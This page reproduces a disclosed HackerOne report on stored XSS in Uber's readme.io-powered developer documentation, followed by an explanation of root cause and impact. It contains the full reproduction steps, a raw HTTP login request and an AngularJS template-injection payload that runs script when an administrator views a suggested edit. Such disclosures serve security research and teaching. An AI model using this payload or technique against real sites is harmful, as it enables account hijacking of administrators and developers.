Skip to content
XSS Disclosed report Intermediate

Stored XSS in developer.uber.com

A stored cross-site scripting vulnerability existed in the suggested edits feature of the readme.io documentation platform used by Uber. An attacker could inject JavaScript that would execute when an administrator viewed the suggested edit, potentially hijacking the accounts of developers who visited the documentation.

James Kettle Follow

Originally disclosed on HackerOne

Bounty$7,500 View original
  • Fixed in 46 hours
  • Paid in 16 days
  • Disclosed after 2 months

An attacker can make a series of requests to https://uber.readme.io/ that will result in permanent defacement/stored XSS of all the documentation pages on https://developer.uber.com/

I'm not entirely sure if this is in scope, but it could definitely have a major impact on developer.uber.com so I figure you'd like to know either way.

Reproduction steps:

Load https://uber.readme.io/docs/deep-linking to get a connect.sid cookie Authenticate the session by sending the following request to uber.readme.io:

POST /users/session HTTP/1.1
Host: uber.readme.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 84
Cookie: YOUR CONNECT.SID COOKIE HERE
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"email":"[email protected]","password":"pjJnBODjkLFv!!11","action":"session"}

If this worked, you'll see a response body something like

{"id":"57129b7365324b0e002ad83b","name":"James Kettle","email":"[email protected]","username":"","provider":"local","createdAt":"2016-04-16T20:07:15.871Z","accessToken":"","stripeId":"","hasStripe":false,"email_verified":false,"hasGithub":false,"github":{},"is_admin":false,"is_god":false}

Grab the new connect.sid cookie from this response.

Using the new connect.sid cookie value, load https://uber.readme.io/docs/deep-linking/edit - you should land on a 'Suggest edits' page (see screenshot)

Add the following payload into the document:

{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}} Then enter an arbitrary description then press 'suggest edits'.

When an administrator next views the readme dashboard and clicks on the suggested edit, the injected JavaScript will execute (see screenshot). This JavaScript could automatically approve the suggestion.

Congrats, you've now got your own JavaScript executing on https://uber.readme.io/docs/deep-linking - potentially hijacking the account of every developer who views it.

The obvious way to patch this is using the ng-nonbindable directive to nullify the stored-xss-via-suggested-edits problem. However, since readme.io appears to have a weak security posture, it may be worth considering shifting the readme.io-powered documentation to a separate domain from developer.uber.com, to ensure that XSS in readme.io can't hijack developer accounts.

Let me know if a video would be helpful.

The original report as published on HackerOne, by albinowax. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application failed to sanitise user-supplied content in suggested edits before rendering it in the administrator dashboard, allowing AngularJS template injection.

Impact

The injected JavaScript could potentially hijack the account of every developer who views the affected documentation page.

What the attacker needed

A free account on the documentation platform; victim (admin) views the suggested edit

How it was found

  1. Load a documentation page to obtain a session cookie.
  2. Authenticate the session by sending a request to the users/session endpoint.
  3. Use the new session cookie to load the edit page for a documentation page.
  4. Insert a payload into the document and submit a suggested edit.
  5. When an administrator views the suggested edit, the injected JavaScript executes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a stored cross-site scripting (XSS) bug. The attacker added a special code snippet to a documentation page's 'suggest edits' form. When an administrator later reviewed that suggestion, the code ran in their browser, letting the attacker act as that administrator.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by James Kettle

View all

18 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.